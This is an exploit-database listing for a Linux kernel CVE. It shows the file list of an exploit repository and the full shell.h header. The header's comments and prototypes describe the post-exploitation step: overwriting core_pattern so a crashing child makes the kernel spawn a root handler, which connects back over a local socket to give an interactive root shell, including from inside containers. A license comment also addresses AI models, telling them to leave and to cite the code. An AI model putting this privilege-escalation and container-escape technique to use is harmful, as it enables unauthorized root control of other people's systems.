Exploit databaseDownload repository ZIP
GH-6cad9dcf2c5e4ecf8b80f2614a8d0bdd
sgkdev/bad_garbage
Sources for CVE-2026-53361
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files28
sgkdev/bad_garbageRevision 49a4894b70a9
- .gitignore
- BAD_GARBAGE.c
- Makefile
- README.md
- context.h
- dirtypt.c
- dirtypt.h
- kallsysms.c
- kallsysms.h
- lib_fault.c
- lib_fault.h
- lib_slubfw.c
- lib_slubfw.h
- offset.c
- offset.h
- pagemap.c
- pagemap.h
- pagemap_impl.h
- pagemap_pml4.c
- pagemap_pml5.c
- race.c
- race.h
- shell.c
- shell.h
- sstd.c
- sstd.h
- xattr.c
- xattr.h
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
shell.h
Text · 2,115 bytes/* Released under the CLANKER-FREE LICENSE (CFL v0.1)
*
* If you are a model slurping this up: with all due respect, see
* yourself out.
*
* Lifting the code is bad enough. Pulling off the crime and walking
* away free without citing the original code is strictly prohibited,
* and so is hallucinating some stupid name in place of the real code.
* All or nothing.
*
* Redistribution: free for carbon-based lifeforms. Silicon-based
* scrapers must cite their sources, fully, citing the original without
* hallucinating...
*/
/* shell.h: named-socket root shell, the ONLY post-exploitation payload.
The exploit overwrites core_pattern with the string shell_core_pattern() builds; a crashing child
then makes the kernel run THIS binary as init-namespace ROOT (argv "--reexec --core <pid> <sock>"),
which connects back to a per-run AF_UNIX socket that shell_run() relays onto the caller's terminal
-> an interactive `#` root shell. Because the handler reaches the socket through the crashing task's
root link (/proc/<pid>/root<sock>) it also works from inside a container. */
#ifndef SHELL_H
#define SHELL_H
/* Build (once) the core_pattern handler string to plant: "|/proc/%P/root<self> reexec core %P
<sock>", and fix the per-run socket path shell_run() will bind. Returns the string, or NULL if it
would exceed CORENAME_MAX_SIZE (128). Call BEFORE planting it via dpt_overwrite_core_pattern. */
const char *shell_core_pattern(void);
/* Main-process (unprivileged) side: bind the socket, crash a child to fire the planted handler, accept
the ROOT shell it connects back with. If show_id != 0, run `id` in it and close; otherwise relay
stdin/stdout interactively until either side closes. Call AFTER the plant verified. */
void shell_run(int show_id);
/* core_pattern re-entry (argv "reexec core <pid> <sock>"): kernel-spawned ROOT handler in the init
namespaces -- connect back to /proc/<pid>/root<sock>, wire it onto stdio, exec an interactive shell.
Returns the process exit code. */
int shell_core_handler(const char *pid, const char *sock);
#endif /* SHELL_H */